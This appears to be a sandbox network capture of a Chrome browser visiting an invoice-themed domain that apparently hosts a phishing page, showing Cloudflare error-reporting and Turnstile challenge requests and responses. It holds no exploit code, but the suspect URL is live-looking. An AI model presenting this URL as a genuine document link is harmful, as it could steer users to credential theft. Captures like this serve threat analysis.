2025-03-13 14:46:12 UTC	604	OUT	POST /report/v4?s=ducObi9P2oK7eNgMgnbf8I5gCjWU90Rmen5Y15GEO5VclE%2FpiIcn25Y5D5gtcAI%2FS16zt%2Fd5MaaTv8ddAgfU29fmYhps4e7R33jCvWipgShp5Sb1b%2BuR6Yd9Yo2gWlp6j9FpvmWIV%2FbLBA4RbiqslxtrjAD1eD2nlmMRa0odi0r4QFwGR9W6 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 493 Content-Type: application/reports+json Origin: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:12 UTC	493	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 38 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6e 74 65 6e 61 6e 63 65 69 6e 76 6f 69 63 65 64 6f 63 75 6d 65 6e 74 2e 73 69 6c 75 65 74 61 6e 65 62 6c 65 77 75 6c 6f 73 61 2e 69 74 2e 63 6f 6d 2f 4e 39 66 53 4e 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 38 33 2e 34 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 Data Ascii: [{"age":0,"body":{"elapsed_time":585,"method":"GET","phase":"application","protocol":"h2","referrer":"https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/N9fSN/","sampling_fraction":1.0,"server_ip":"104.21.83.40","status_code":404,"type":"http.er
2025-03-13 14:46:13 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 13 Mar 2025 14:46:13 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:14 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2011361268:1741875955:c0x57_2dnnWv0cSNRdCEyxhdi_PDaFZ2_aYakigo87U/91fc51994e2a9acb/LGFQ88mF_QP141C7G5Ud698sC7wcVLkUl4QpbMV03j8-1741877165-1.1.1.1-66f2Wb4q5NYSFDMnBT8Fo16fd.zjayP37noXfe4F1YNPa9rS8PJ2qrI7IEDr06ws HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:15 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Thu, 13 Mar 2025 14:46:15 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: hzUEZ4Qyx4pc6/CsEDiso1PLTJlX2g2KODxq78oWWKDiGFKJAv9iRV8IiOZSIJGZNKxPtHICJ+0MbVIzsM+ykQ==$fdJUvywnr1C/8N2ee8R7nw== Server: cloudflare CF-RAY: 91fc51d94dc602f1-MIA alt-svc: h3=":443"; ma=86400
2025-03-13 14:46:15 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:15 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/g/d/91fc51994e2a9acb/1741877170626/xN40vxstI2Ov5Cp HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:15 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 14:46:15 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 91fc51daef9002f1-MIA alt-svc: h3=":443"; ma=86400
2025-03-13 14:46:15 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 59 00 00 00 24 08 02 00 00 00 6d d5 01 e7 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRY$mIDAT$IENDB`